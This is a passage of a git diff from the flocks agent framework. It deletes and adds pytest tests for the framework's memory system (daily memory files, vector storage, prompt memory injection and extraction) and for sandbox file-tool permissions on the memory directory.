has_api_key: - print(" ✅ Indexing with embeddings") - print(" ✅ Semantic search") - else: - print(" ⚠️ Indexing (skipped - no API key)") - print(" ⚠️ Search (skipped - no API key)") - - print("\n🎉 Memory System Core Functionality Verified!") - print("\n📝 System Components:") - print(" • Provider layer: Embeddings generation ✅") - print(" • Storage layer: Vector tables & FTS5 ✅") - print(" • Memory types: Pydantic models ✅") - print(" • Chunking: Token-based with overlap ✅") - print(" • Indexing: Incremental with hash detection ✅") - print(" • Search: Hybrid (vector + BM25) ✅") - print(" • Manager: Orchestration & API ✅") - print(" • Tools: Agent integration ✅") - - if not has_api_key: - print("\n💡 To test with real embeddings:") - print(" export OPENAI_API_KEY=your_key") - print(" python test_memory_e2e.py") - - return True - - except Exception as e: - print("\n" + "=" * 70) - print("❌ End-to-End Integration Test FAILED") - print("=" * 70) - print(f"\nError: {e}") - import traceback - traceback.print_exc() - return False - - -if __name__ == "__main__": - success = asyncio.run(test_memory_system_e2e()) - exit(0 if success else 1) diff --git a/tests/memory/test_memory_flush_extraction.py b/tests/memory/test_memory_flush_extraction.py new file mode 100644 index 000000000..8daab2108 --- /dev/null +++ b/tests/memory/test_memory_flush_extraction.py @@ -0,0 +1,42 @@ +"""Tests for lifecycle-owned Daily Memory extraction.""" + +from types import SimpleNamespace +from unittest.mock import AsyncMock, patch + +import pytest + +from flocks.memory.flush import extract_and_save + + +class _ChatMessage: + """Minimal chat message accepted by the extraction helper.""" + + def __init__(self, role: str, content: str) -> None: + self.role = role + self.content = content + + +@pytest.mark.asyncio +async def test_extract_and_save_honors_nothing_without_summary_fallback() -> None: + provider = SimpleNamespace( + chat=AsyncMock(return_value=SimpleNamespace(content="NOTHING")), + ) + + with patch( + "flocks.memory.daily.DailyMemory.write_daily", + new_callable=AsyncMock, + ) as write_daily: + await extract_and_save( + session_id="ses_nothing", + summary="transient compaction summary", + chat_messages=[_ChatMessage("user", "hello")], + model_id="model", + provider=provider, + ChatMessage=_ChatMessage, + ) + + write_daily.assert_not_awaited() + prompt = provider.chat.await_args.kwargs["messages"][0].content + assert "Exclude secrets" in prompt + assert "task status" in prompt + assert "facts cheaply rediscoverable" in prompt diff --git a/tests/memory/test_memory_manager.py b/tests/memory/test_memory_manager.py deleted file mode 100644 index 4ca54b1d6..000000000 --- a/tests/memory/test_memory_manager.py +++ /dev/null @@ -1,278 +0,0 @@ -#!/usr/bin/env python3 -""" -Test Memory Manager functionality - -Tests the core MemoryManager orchestrator. -""" - -import asyncio -import tempfile -from pathlib import Path - - -async def test_memory_manager(): - """Test memory manager""" - print("=" * 60) - print("Testing Memory Manager") - print("=" * 60) - - # Test 1: Import modules - print("\n[1/7] Testing imports...") - try: - from flocks.memory import MemoryManager, MemoryConfig - from flocks.storage import Storage - from flocks.provider import Provider - print("✅ Successfully imported memory manager") - except Exception as e: - print(f"❌ Import failed: {e}") - import traceback - traceback.print_exc() - return False - - # Test 2: Test singleton pattern - print("\n[2/7] Testing singleton pattern...") - try: - with tempfile.TemporaryDirectory() as tmpdir: - config = MemoryConfig(enabled=True) - - manager1 = MemoryManager.get_instance( - project_id="test_proj", - workspace_dir=tmpdir, - config=config, - ) - - manager2 = MemoryManager.get_instance( - project_id="test_proj", - workspace_dir=tmpdir, - config=config, - ) - - print(f" Manager 1: {id(manager1)}") - print(f" Manager 2: {id(manager2)}") - - assert manager1 is manager2, "Should return same instance for same project" - - # Different project should get different instance - manager3 = MemoryManager.get_instance( - project_id="other_proj", - workspace_dir=tmpdir, - config=config, - ) - - assert manager1 is not manager3, "Different projects should get different instances" - - print("✅ Singleton pattern working correctly") - except Exception as e: - print(f"❌ Singleton test failed: {e}") - import traceback - traceback.print_exc() - return False - - # Test 3: Test initialization - print("\n[3/7] Testing initialization...") - try: - await Storage.init() - await Provider.init() - - with tempfile.TemporaryDirectory() as tmpdir: - config = MemoryConfig( - enabled=True, - embedding={ - "provider": "openai", - "model": "text-embedding-3-small", - }, - ) - - manager = MemoryManager( - project_id="test_proj", - workspace_dir=tmpdir, - config=config, - ) - - print(f" Project ID: {manager.project_id}") - print(f" Workspace: {manager.workspace_dir}") - print(f" Provider: {manager.provider_id}") - print(f" Model: {manager.embedding_model}") - print(f" Initialized: {manager._initialized}") - - # Initialize - await manager.initialize() - - print(f" After init - Initialized: {manager._initialized}") - print(f" Search engine: {manager.search_engine is not None}") - print(f" Indexer: {manager.indexer is not None}") - - assert manager._initialized, "Should be initialized" - assert manager.search_engine is not None, "Should have search engine" - assert manager.indexer is not None, "Should have indexer" - - print("✅ Initialization working correctly") - except Exception as e: - print(f"❌ Initialization test failed: {e}") - import traceback - traceback.print_exc() - return False - - # Test 4: Test status method - print("\n[4/7] Testing status method...") - try: - with tempfile.TemporaryDirectory() as tmpdir: - config = MemoryConfig( - enabled=True, - sources=["memory", "session"], - ) - - manager = MemoryManager( - project_id="test_proj", - workspace_dir=tmpdir, - config=config, - ) - - status = manager.status() - - print(f" Enabled: {status.enabled}") - print(f" Provider: {status.provider}") - print(f" Model: {status.model}") - print(f" Sources: {[s.value for s in status.sources]}") - print(f" Dirty: {status.dirty}") - - assert status.enabled == True, "Should be enabled" - assert len(status.sources) == 2, "Should have 2 sources" - - print("✅ Status method working correctly") - except Exception as e: - print(f"❌ Status test failed: {e}") - import traceback - traceback.print_exc() - return False - - # Test 5: Test write_memory method - print("\n[5/7] Testing write_memory method...") - try: - with tempfile.TemporaryDirectory() as tmpdir: - workspace = Path(tmpdir) - config = MemoryConfig(enabled=True) - - manager = MemoryManager( - project_id="test_proj", - workspace_dir=tmpdir, - config=config, - ) - - # Write to memory - content = "# Test Memory\n\nThis is a test." - path = await manager.write_memory(content, path="test.md", append=False) - - print(f" Written to: {path}") - - # Check file exists - file_path = workspace / path - assert file_path.exists(), "File should exist" - - # Check content - written_content = file_path.read_text() - assert content in written_content, "Content should match" - - # Test append - append_content = "More content." - await manager.write_memory(append_content, path="test.md", append=True) - - appended = file_path.read_text() - assert append_content in appended, "Appended content should be present" - - # Check dirty flag - assert manager._dirty == True, "Should be marked as dirty" - - print("✅ Write memory working correctly") - except Exception as e: - print(f"❌ Write memory test failed: {e}") - import traceback - traceback.print_exc() - return False - - # Test 6: Test read_file method - print("\n[6/7] Testing read_file method...") - try: - with tempfile.TemporaryDirectory() as tmpdir: - workspace = Path(tmpdir) - config = MemoryConfig(enabled=True) - - manager = MemoryManager( - project_id="test_proj", - workspace_dir=tmpdir, - config=config, - ) - - # Create test file - test_file = workspace / "test.md" - test_content = "\n".join([f"Line {i}" for i in range(1, 11)]) - test_file.write_text(test_content) - - # Read entire file - result = await manager.read_file("test.md") - print(f" Full read: {len(result['text'])} chars") - assert "Line 1" in result["text"], "Should contain first line" - assert "Line 10" in result["text"], "Should contain last line" - - # Read specific range - result = await manager.read_file("test.md", from_line=3, lines=3) - print(f" Range read: {result['text']}") - assert "Line 3" in result["text"], "Should contain line 3" - assert "Line 5" in result["text"], "Should contain line 5" - assert "Line 1" not in result["text"], "Should not contain line 1" - - print("✅ Read file working correctly") - except Exception as e: - print(f"❌ Read file test failed: {e}") - import traceback - traceback.print_exc() - return False - - # Test 7: Test mark_dirty method - print("\n[7/7] Testing mark_dirty method...") - try: - with tempfile.TemporaryDirectory() as tmpdir: - config = MemoryConfig(enabled=True) - - manager = MemoryManager( - project_id="test_proj", - workspace_dir=tmpdir, - config=config, - ) - - print(f" Initial dirty: {manager._dirty}") - assert manager._dirty == False, "Should start clean" - - manager.mark_dirty() - print(f" After mark: {manager._dirty}") - assert manager._dirty == True, "Should be dirty after mark" - - print("✅ Mark dirty working correctly") - except Exception as e: - print(f"❌ Mark dirty test failed: {e}") - import traceback - traceback.print_exc() - return False - - print("\n" + "=" * 60) - print("✅ All memory manager tests passed!") - print("=" * 60) - print("\n📋 Memory Manager ready:") - print(" - Singleton pattern per project") - print(" - Lazy initialization") - print(" - Search orchestration") - print(" - File indexing orchestration") - print(" - Memory file read/write") - print(" - Status reporting") - print(" - Dirty tracking for sync") - - print("\n⚠️ Note: Full search/sync tests require:") - print(" - Indexed memory files") - print(" - API keys for embeddings") - - return True - - -if __name__ == "__main__": - success = asyncio.run(test_memory_manager()) - exit(0 if success else 1) diff --git a/tests/memory/test_memory_openclaw_integration.py b/tests/memory/test_memory_openclaw_integration.py deleted file mode 100644 index ac650eb1d..000000000 --- a/tests/memory/test_memory_openclaw_integration.py +++ /dev/null @@ -1,331 +0,0 @@ -""" -Tests for OpenClaw-style memory integration - -Tests the new memory bootstrap, daily files, and flush mechanisms. -""" - -import pytest -import asyncio -from pathlib import Path -from datetime import datetime, timedelta - -from flocks.memory import DailyMemory, MemoryBootstrap, MemoryFlush -from flocks.memory.config import MemoryAutoFlushConfig - - -class TestDailyMemory: - """Test DailyMemory class""" - - @pytest.mark.asyncio - async def test_ensure_structure(self): - """Test directory structure creation""" - daily = DailyMemory() - await daily.ensure_structure() - - assert daily.daily_dir.exists() - assert daily.daily_dir.is_dir() - - @pytest.mark.asyncio - async def test_get_today_path(self): - """Test today's file path generation""" - daily = DailyMemory() - today = datetime.now().strftime("%Y-%m-%d") - - path = daily.get_today_path() - assert str(path).endswith(f"{today}.md") - - # Test with specific date - path = daily.get_today_path("2026-02-09") - assert str(path).endswith("2026-02-09.md") - - def test_get_relative_path(self): - """Test relative path generation""" - daily = DailyMemory() - today = datetime.now().strftime("%Y-%m-%d") - - rel_path = daily.get_relative_path() - assert rel_path == f"daily/{today}.md" - - rel_path = daily.get_relative_path("2026-02-09") - assert rel_path == "daily/2026-02-09.md" - - @pytest.mark.asyncio - async def test_write_and_read_daily(self): - """Test writing and reading daily files""" - daily = DailyMemory() - test_date = "2026-02-09" - test_content = "## Test Entry\n\nThis is a test." - - # Write - rel_path = await daily.write_daily( - content=test_content, - date=test_date, - append=False # Overwrite mode - ) - assert rel_path == f"daily/{test_date}.md" - - # Read - content = await daily.read_daily(test_date) - assert content == test_content - - # Test append - append_content = "\n\n## Another Entry\n\nAppended content." - await daily.write_daily( - content=append_content, - date=test_date, - append=True - ) - - full_content = await daily.read_daily(test_date) - assert test_content in full_content - assert "Appended content" in full_content - - @pytest.mark.asyncio - async def test_exists(self): - """Test file existence check""" - daily = DailyMemory() - test_date = "2026-02-09" - - # Write a file - await daily.write_daily("test", date=test_date, append=False) - - # Check existence - assert await daily.exists(test_date) - assert not await daily.exists("2099-01-01") - - def test_list_daily_files(self): - """Test listing daily files""" - daily = DailyMemory() - - # This will list actual files if any exist - files = daily.list_daily_files() - assert isinstance(files, list) - - # Files should be sorted by date (most recent first) - if len(files) > 1: - for i in range(len(files) - 1): - assert files[i] >= files[i + 1] - - -class TestMemoryBootstrap: - """Test MemoryBootstrap class""" - - @pytest.mark.asyncio - async def test_create_memory_structure(self): - """Test memory structure creation""" - bootstrap = MemoryBootstrap() - await bootstrap.create_memory_structure() - - assert bootstrap.memory_dir.exists() - assert bootstrap.daily_dir.exists() - - # Check if MEMORY.md was created - memory_file = bootstrap.memory_dir / "MEMORY.md" - assert memory_file.exists() - - @pytest.mark.asyncio - async def test_load_main_memory(self): - """Test loading main MEMORY.md""" - bootstrap = MemoryBootstrap() - await bootstrap.create_memory_structure() - - result = await bootstrap.load_main_memory() - assert result is not None - assert "path" in result - assert "content" in result - assert result["inject"] is True - - def test_get_daily_memory_paths(self): - """Test daily memory path generation""" - bootstrap = MemoryBootstrap() - - # Get today + yesterday - paths = bootstrap.get_daily_memory_paths(days_back=1, today="2026-02-09") - assert len(paths) == 2 - assert "daily/2026-02-09.md" in paths # Today - assert "daily/2026-02-08.md" in paths # Yesterday - - # Get only today - paths = bootstrap.get_daily_memory_paths(days_back=0, today="2026-02-09") - assert len(paths) == 1 - assert paths[0] == "daily/2026-02-09.md" - - @pytest.mark.asyncio - async def test_load_daily_memories(self): - """Test loading daily memory files""" - bootstrap = MemoryBootstrap() - await bootstrap.create_memory_structure() - - # Create some test daily files - daily = DailyMemory() - today = datetime.now().strftime("%Y-%m-%d") - yesterday = (datetime.now() - timedelta(days=1)).strftime("%Y-%m-%d") - - await daily.write_daily("Today's notes", date=today, append=False) - await daily.write_daily("Yesterday's notes", date=yesterday, append=False) - - # Load - results = await bootstrap.load_daily_memories(days_back=1) - assert len(results) >= 1 # At least today - - # Check structure - for result in results: - assert "path" in result - assert "content" in result - assert "abs_path" in result - - def test_get_agent_instructions(self): - """Test agent instructions generation""" - bootstrap = MemoryBootstrap() - - instructions = bootstrap.get_agent_instructions( - today="2026-02-09", - yesterday="2026-02-08" - ) - - assert "Memory System" in instructions - assert "MEMORY.md" in instructions - assert "daily/" in instructions - assert "YYYY-MM-DD" in instructions - assert "daily/2026-02-09.md" in instructions - assert "daily/2026-02-08.md" in instructions - assert "memory_search" in instructions - assert "{memory_root}" not in instructions - assert "On-disk memory root" in instructions - - @pytest.mark.asyncio - async def test_bootstrap(self): - """Test complete bootstrap process""" - bootstrap = MemoryBootstrap() - - result = await bootstrap.bootstrap( - load_main=True, - load_daily=True, - days_back=1 - ) - - assert "main_memory" in result - assert "daily_memories" in result - assert "instructions" in result - assert "today" in result - assert "yesterday" in result - - # Check instructions - assert result["instructions"] - assert "Memory System" in result["instructions"] - - -class TestMemoryFlush: - """Test MemoryFlush class""" - - def test_calculate_threshold(self): - """Test threshold calculation""" - threshold = MemoryFlush.calculate_threshold( - context_window=200_000, - reserve_tokens=2000, - trigger_tokens=4000 - ) - assert threshold == 194_000 - - # Edge case: threshold should not be negative - threshold = MemoryFlush.calculate_threshold( - context_window=1000, - reserve_tokens=500, - trigger_tokens=600 - ) - assert threshold == 0 # max(0, 1000 - 500 - 600) - - def test_should_trigger(self): - """Test should_trigger logic""" - config = MemoryAutoFlushConfig( - enabled=True, - reserve_tokens=2000, - trigger_tokens=4000 - ) - - # Below threshold - should not trigger - assert not MemoryFlush.should_trigger( - total_tokens=100_000, - context_window=200_000, - config=config, - last_flush_compaction=None, - current_compaction=0 - ) - - # Above threshold - should trigger - assert MemoryFlush.should_trigger( - total_tokens=195_000, - context_window=200_000, - config=config, - last_flush_compaction=None, - current_compaction=0 - ) - - # Already flushed in this compaction - should not trigger - assert not MemoryFlush.should_trigger( - total_tokens=195_000, - context_window=200_000, - config=config, - last_flush_compaction=0, - current_compaction=0 - ) - - # New compaction cycle - should trigger again - assert MemoryFlush.should_trigger( - total_tokens=195_000, - context_window=200_000, - config=config, - last_flush_compaction=0, - current_compaction=1 - ) - - # Disabled - should not trigger - config_disabled = MemoryAutoFlushConfig(enabled=False) - assert not MemoryFlush.should_trigger( - total_tokens=195_000, - context_window=200_000, - config=config_disabled, - last_flush_compaction=None, - current_compaction=0 - ) - - def test_get_flush_prompts(self): - """Test flush prompts generation""" - config = MemoryAutoFlushConfig( - system_prompt="Save memories now.", - user_prompt="Write to daily/YYYY-MM-DD.md" - ) - - prompts = MemoryFlush.get_flush_prompts(config, today="2026-02-09") - - assert prompts["system_prompt"] == "Save memories now." - assert "2026-02-09" in prompts["user_prompt"] - assert prompts["date"] == "2026-02-09" - - def test_get_stats(self): - """Test flush statistics""" - config = MemoryAutoFlushConfig( - enabled=True, - reserve_tokens=2000, - trigger_tokens=4000 - ) - - stats = MemoryFlush.get_stats( - total_tokens=195_000, - context_window=200_000, - config=config, - last_flush_compaction=None, - current_compaction=0 - ) - - assert stats["enabled"] is True - assert stats["total_tokens"] == 195_000 - assert stats["context_window"] == 200_000 - assert stats["threshold"] == 194_000 - assert stats["remaining_tokens"] == 0 # 195k >= 194k threshold - assert stats["should_flush"] is True - assert stats["current_compaction"] == 0 - - -if __name__ == "__main__": - pytest.main([__file__, "-v"]) diff --git a/tests/memory/test_prompt_memory.py b/tests/memory/test_prompt_memory.py deleted file mode 100644 index 147b047b1..000000000 --- a/tests/memory/test_prompt_memory.py +++ /dev/null @@ -1,136 +0,0 @@ -#!/usr/bin/env python3 -""" -Test Prompt System Memory Integration - -Tests memory injection into system prompts. -""" - -import asyncio - - -async def test_prompt_memory(): - """Test prompt memory integration""" - print("=" * 70) - print("Testing Prompt Memory Integration") - print("=" * 70) - - # Test 1: Import - print("\n[1/4] Testing imports...") - try: - from flocks.session import SessionPrompt, SessionMemory - print("✅ Successfully imported prompt and memory modules") - except Exception as e: - print(f"❌ Import failed: {e}") - return False - - # Test 2: Test build_memory_context with disabled memory - print("\n[2/4] Testing build_memory_context (disabled)...") - try: - import tempfile - with tempfile.TemporaryDirectory() as tmpdir: - # Create disabled memory - memory = SessionMemory( - session_id="test", - project_id="proj", - workspace_dir=tmpdir, - enabled=False, - ) - - # Should return None - context = await SessionPrompt.build_memory_context( - session_memory=memory, - user_message="test query", - ) - - print(f" Context (disabled): {context}") - assert context is None, "Should return None when disabled" - - print("✅ Disabled memory handling correct") - except Exception as e: - print(f"❌ Test failed: {e}") - return False - - # Test 3: Test runtime system prompt builder without memory bootstrap - print("\n[3/4] Testing build_system_prompts without memory bootstrap...") - try: - prompt_parts = await SessionPrompt.build_system_prompts( - session_id="test", - session_directory=None, - agent_name="test_agent", - agent_prompt="agent prompt", - provider_id="test-provider", - model_id="test-model", - ) - prompt = "\n\n".join(prompt_parts) - - print(f" Prompt length: {len(prompt)} chars") - assert len(prompt) > 0, "Should generate prompt" - assert "agent prompt" in prompt, "Should include agent prompt" - - print("✅ System prompt generation working") - except Exception as e: - print(f"❌ Test failed: {e}") - import traceback - traceback.print_exc() - return False - - # Test 4: Test runtime system prompt builder with disabled memory bootstrap injection - print("\n[4/4] Testing build_system_prompts with memory bootstrap disabled...") - try: - prompt_parts = await SessionPrompt.build_system_prompts( - session_id="test", - session_directory=None, - agent_name="test_agent", - agent_prompt="agent prompt", - provider_id="test-provider", - model_id="test-model", - memory_bootstrap_data={ - "instructions": "memory guidance", - "main_memory": { - "path": "MEMORY.md", - "content": "remembered context", - "inject": False, - }, - }, - prompt_tool_names=("read",), - ) - prompt = "\n\n".join(prompt_parts) - - print(f" Prompt length: {len(prompt)} chars") - assert len(prompt) > 0, "Should generate prompt" - assert "Relevant Memory" not in prompt, "Should not include memory section when disabled" - assert "remembered context" not in prompt, "Should not inject disabled memory snapshot" - - print("✅ Memory integration working correctly") - except Exception as e: - print(f"❌ Test failed: {e}") - import traceback - traceback.print_exc() - return False - - print("\n" + "=" * 70) - print("✅ All Prompt Memory integration tests passed!") - print("=" * 70) - - print("\n📋 Prompt Memory Integration Ready:") - print(" ✅ build_memory_context() method") - print(" ✅ build_system_prompts() runtime prompt builder") - print(" ✅ Memory bootstrap injection control") - print(" ✅ Graceful disabled handling") - - print("\n🎯 Usage Example:") - print(" prompt_parts = await SessionPrompt.build_system_prompts(") - print(" session_id=session.id,") - print(" session_directory=session.directory,") - print(" agent_name=agent.name,") - print(" agent_prompt=agent.prompt,") - print(" provider_id=provider_id,") - print(" model_id=model_id,") - print(" )") - - return True - - -if __name__ == "__main__": - success = asyncio.run(test_prompt_memory()) - exit(0 if success else 1) diff --git a/tests/memory/test_vector_storage.py b/tests/memory/test_vector_storage.py deleted file mode 100644 index 4e038ab49..000000000 --- a/tests/memory/test_vector_storage.py +++ /dev/null @@ -1,228 +0,0 @@ -#!/usr/bin/env python3 -""" -Test vector storage functionality - -Tests the vector storage extension for the memory system. -""" - -import asyncio -import tempfile -from pathlib import Path - - -async def test_vector_storage(): - """Test vector storage functions""" - print("=" * 60) - print("Testing Vector Storage Extension") - print("=" * 60) - - # Test 1: Import modules - print("\n[1/9] Testing imports...") - try: - from flocks.storage import ( - Storage, - ensure_vector_tables, - vector_search, - fts_search, - insert_chunks, - get_embedding_from_cache, - put_embedding_to_cache, - cosine_similarity, - bm25_rank_to_score, - build_fts_query, - ) - print("✅ Successfully imported all vector storage functions") - except Exception as e: - print(f"❌ Import failed: {e}") - import traceback - traceback.print_exc() - return False - - # Test 2: Create temporary database - print("\n[2/9] Creating temporary database...") - try: - with tempfile.TemporaryDirectory() as tmpdir: - db_path = Path(tmpdir) / "test.db" - print(f" Database path: {db_path}") - - # Test 3: Initialize Storage - print("\n[3/9] Initializing Storage...") - await Storage.init(db_path) - print("✅ Storage initialized") - - # Test 4: Ensure vector tables - print("\n[4/9] Creating vector tables...") - status = await ensure_vector_tables(db_path) - print(f" Vector tables: {status['vector_tables']}") - print(f" FTS5: {status['fts5']}") - if status.get("fts5_error"): - print(f" FTS5 error: {status['fts5_error']}") - assert status["vector_tables"], "Vector tables not created" - print("✅ Vector tables created") - - # Test 5: Test cosine similarity - print("\n[5/9] Testing cosine similarity...") - vec1 = [1.0, 0.0, 0.0] - vec2 = [1.0, 0.0, 0.0] - vec3 = [0.0, 1.0, 0.0] - - sim_same = cosine_similarity(vec1, vec2) - sim_orthogonal = cosine_similarity(vec1, vec3) - - print(f" Same vectors: {sim_same:.4f}") - print(f" Orthogonal vectors: {sim_orthogonal:.4f}") - - assert abs(sim_same - 1.0) < 0.001, "Same vectors should have similarity ~1.0" - assert abs(sim_orthogonal - 0.0) < 0.001, "Orthogonal vectors should have similarity ~0.0" - print("✅ Cosine similarity working correctly") - - # Test 6: Test BM25 score conversion - print("\n[6/9] Testing BM25 score conversion...") - score1 = bm25_rank_to_score(0.0) - score2 = bm25_rank_to_score(1.0) - score3 = bm25_rank_to_score(10.0) - - print(f" Rank 0.0 -> Score: {score1:.4f}") - print(f" Rank 1.0 -> Score: {score2:.4f}") - print(f" Rank 10.0 -> Score: {score3:.4f}") - - assert score1 == 1.0, "Rank 0 should give score 1.0" - assert score2 == 0.5, "Rank 1 should give score 0.5" - assert score1 > score2 > score3, "Higher ranks should give lower scores" - print("✅ BM25 score conversion working correctly") - - # Test 7: Test FTS query building - print("\n[7/9] Testing FTS query building...") - fts_q1 = build_fts_query("hello world") - fts_q2 = build_fts_query("test-query 123") - fts_q3 = build_fts_query("!!! ") - - print(f" 'hello world' -> '{fts_q1}'") - print(f" 'test-query 123' -> '{fts_q2}'") - print(f" '!!!' -> {fts_q3}") - - assert fts_q1 == '"hello" AND "world"', "FTS query should be quoted and ANDed" - assert fts_q2 == '"test" AND "query" AND "123"', "Should extract alphanumeric tokens" - assert fts_q3 is None, "Should return None for no valid tokens" - print("✅ FTS query building working correctly") - - # Test 8: Test chunk insertion and vector search - print("\n[8/9] Testing chunk insertion and vector search...") - - # Create test chunks - chunks = [ - { - "id": "chunk1", - "path": "test.md", - "project_id": "test_proj", - "source": "memory", - "start_line": 1, - "end_line": 5, - "hash": "hash1", - "text": "This is a test document about artificial intelligence.", - "embedding": [1.0, 0.5, 0.2, 0.1], - "embedding_model": "test-model", - "embedding_dims": 4, - }, - { - "id": "chunk2", - "path": "test.md", - "project_id": "test_proj", - "source": "memory", - "start_line": 6, - "end_line": 10, - "hash": "hash2", - "text": "Machine learning is a subset of AI.", - "embedding": [0.9, 0.6, 0.3, 0.15], - "embedding_model": "test-model", - "embedding_dims": 4, - }, - { - "id": "chunk3", - "path": "test.md", - "project_id": "test_proj", - "source": "memory", - "start_line": 11, - "end_line": 15, - "hash": "hash3", - "text": "Python is a programming language.", - "embedding": [0.2, 0.1, 0.8, 0.9], - "embedding_model": "test-model", - "embedding_dims": 4, - }, - ] - - # Insert chunks - count = await insert_chunks(db_path, chunks) - print(f" Inserted {count} chunks") - assert count == len(chunks), "Should insert all chunks" - - # Search with similar embedding to chunk1 - query_embedding = [0.95, 0.48, 0.22, 0.12] - results = await vector_search( - db_path=db_path, - project_id="test_proj", - embedding=query_embedding, - max_results=2, - min_score=0.0, - ) - - print(f" Found {len(results)} results") - if results: - print(f" Top result: {results[0]['path']} (score: {results[0]['score']:.4f})") - assert results[0]["id"] == "chunk1", "Should find chunk1 as most similar" - assert results[0]["score"] > 0.99, "Should have high similarity" - - print("✅ Chunk insertion and vector search working correctly") - - # Test 9: Test embedding cache - print("\n[9/9] Testing embedding cache...") - - # Put embedding to cache - test_hash = "test_hash_123" - test_embedding = [0.1, 0.2, 0.3] - - await put_embedding_to_cache( - db_path=db_path, - text_hash=test_hash, - provider="test_provider", - model="test_model", - embedding=test_embedding, - dims=3, - ) - print(" Put embedding to cache") - - # Get embedding from cache - cached = await get_embedding_from_cache( - db_path=db_path, - text_hash=test_hash, - provider="test_provider", - model="test_model", - ) - - if cached: - cached_emb, cached_dims = cached - print(f" Got embedding from cache (dims: {cached_dims})") - assert cached_dims == 3, "Should return correct dims" - assert cached_emb == test_embedding, "Should return same embedding" - print("✅ Embedding cache working correctly") - else: - print("❌ Failed to retrieve from cache") - return False - - print("\n" + "=" * 60) - print("✅ All vector storage tests passed!") - print("=" * 60) - - return True - - except Exception as e: - print(f"\n❌ Test failed: {e}") - import traceback - traceback.print_exc() - return False - - -if __name__ == "__main__": - success = asyncio.run(test_vector_storage()) - exit(0 if success else 1) diff --git a/tests/sandbox/test_sandbox_file_tools.py b/tests/sandbox/test_sandbox_file_tools.py index 51b4cccbf..9852efe67 100644 --- a/tests/sandbox/test_sandbox_file_tools.py +++ b/tests/sandbox/test_sandbox_file_tools.py @@ -4,16 +4,24 @@ import os import tempfile +from pathlib import Path +from unittest.mock import patch import pytest from flocks.tool.registry import ToolContext, ToolRegistry -def _sandbox_ctx(workspace_dir: str, workspace_access: str = "none") -> ToolContext: +def _sandbox_ctx( + workspace_dir: str, + workspace_access: str = "none", + *, + agent: str = "rex", +) -> ToolContext: return ToolContext( session_id="sandbox-file-tools", message_id="sandbox-file-tools-msg", + agent=agent, extra={ "sandbox": { "workspace_dir": workspace_dir, @@ -53,6 +61,91 @@ async def test_read_tool_reads_inside_sandbox() -> None: assert "sandbox" in (result.output or "") +@pytest.mark.asyncio +async def test_file_tools_allow_only_host_memory_root_in_sandbox( + tmp_path: Path, +) -> None: + sandbox_dir = tmp_path / "sandbox" + data_dir = tmp_path / "data" + sandbox_dir.mkdir() + memory_file = data_dir / "memory" / "MEMORY.md" + memory_file.parent.mkdir(parents=True) + memory_file.write_text("# Global Memory\n\nold fact\n", encoding="utf-8") + ctx = _sandbox_ctx( + str(sandbox_dir), + workspace_access="rw", + agent="self-improve", + ) + + with patch("flocks.config.Config.get_data_path", return_value=data_dir): + read_result = await ToolRegistry.execute( + "read", + ctx=ctx, + filePath=str(memory_file), + ) + glob_result = await ToolRegistry.execute( + "glob", + ctx=ctx, + pattern="**/*.md", + path=str(data_dir / "memory"), + ) + grep_result = await ToolRegistry.execute( + "grep", + ctx=ctx, + pattern="old fact", + path=str(data_dir / "memory"), + ) + edit_result = await ToolRegistry.execute( + "edit", + ctx=ctx, + filePath=str(memory_file), + oldString="old fact", + newString="new fact", + ) + + assert read_result.success + assert glob_result.success + assert grep_result.success + assert edit_result.success + assert memory_file.read_text(encoding="utf-8") == ( + "# Global Memory\n\nnew fact\n" + ) + + +@pytest.mark.asyncio +async def test_sandbox_agent_cannot_write_or_edit_daily_memory( + tmp_path: Path, +) -> None: + sandbox_dir = tmp_path / "sandbox" + data_dir = tmp_path / "data" + sandbox_dir.mkdir() + daily_file = data_dir / "memory" / "daily" / "2026-07-29.md" + daily_file.parent.mkdir(parents=True) + daily_file.write_text("lifecycle entry\n", encoding="utf-8") + ctx = _sandbox_ctx(str(sandbox_dir), workspace_access="rw") + + with patch("flocks.config.Config.get_data_path", return_value=data_dir): + write_result = await ToolRegistry.execute( + "write", + ctx=ctx, + filePath=str(daily_file), + content="replacement\n", + ) + edit_result = await ToolRegistry.execute( + "edit", + ctx=ctx, + filePath=str(daily_file), + oldString="lifecycle entry", + newString="replacement", + ) + + assert not write_result.success + assert not edit_result.success + assert "Session lifecycle" in (write_result.error or "") + assert "Session lifecycle" in (edit_result.error or "") + assert daily_file.read_text(encoding="utf-8") == "lifecycle entry\n" + + @pytest.mark.asyncio async def test_write_tool_blocked_in_ro_sandbox() -> None: with tempfile.TemporaryDirectory() as sandbox_dir: diff --git a/tests/server/test_lifespan.py b/tests/server/test_lifespan.py index 14e8741f4..ab2b4fa60 100644 --- a/tests/server/test_lifespan.py +++ b/tests/server/test_lifespan.py @@ -4,6 +4,7 @@ import pytest +from flocks.memory.config import MemoryConfig from flocks.server import app as app_module @@ -31,7 +32,7 @@ async def fake_storage_init() -> None: return None async def fake_config_get(): - return SimpleNamespace(memory=SimpleNamespace(enabled=False)) + return SimpleNamespace(memory=MemoryConfig()) async def fake_to_thread(func, *args, **kwargs): return func(*args, **kwargs) @@ -60,6 +61,11 @@ async def fake_async_noop(*_args, **_kwargs) -> None: "flocks.config.config_writer", types.SimpleNamespace(ensure_config_files=lambda: None), ) + monkeypatch.setitem( + sys.modules, + "flocks.hooks.builtin", + types.SimpleNamespace(register_builtin_hooks=lambda: None), + ) monkeypatch.setitem( sys.modules, "flocks.tool.question_handler", diff --git a/tests/session/test_runner_step.py b/tests/session/test_runner_step.py index 82fb6aaec..aa047d628 100644 --- a/tests/session/test_runner_step.py +++ b/tests/session/test_runner_step.py @@ -720,7 +720,15 @@ async def test_build_system_prompts_orders_stable_prefix_before_runtime_tail(sel agent_prompt=agent.prompt, provider_id=runner.provider_id, model_id=runner.model_id, - prompt_tool_names=("bash", "memory_search", "read"), + prompt_tool_names=( + "bash", + "edit", + "glob", + "grep", + "memory_search", + "read", + "write", + ), memory_bootstrap_data=memory_bootstrap_data, tool_catalog_prompt_factory=lambda: "tool catalog", device_asset_prompt_factory=device_mock, @@ -978,7 +986,7 @@ async def test_build_system_prompts_rebuilds_when_agent_prompt_changes(self): custom_mock.assert_awaited_once() @pytest.mark.asyncio - async def test_build_system_prompts_includes_memory_guidance_when_memory_tools_loaded(self): + async def test_build_system_prompts_includes_filesystem_memory_guidance(self): session = _make_session("ses_prompts_memory_guidance") runner = SessionRunner( session=session, @@ -1005,7 +1013,14 @@ async def test_build_system_prompts_includes_memory_guidance_when_memory_tools_l agent_prompt=agent.prompt, provider_id=runner.provider_id, model_id=runner.model_id, - 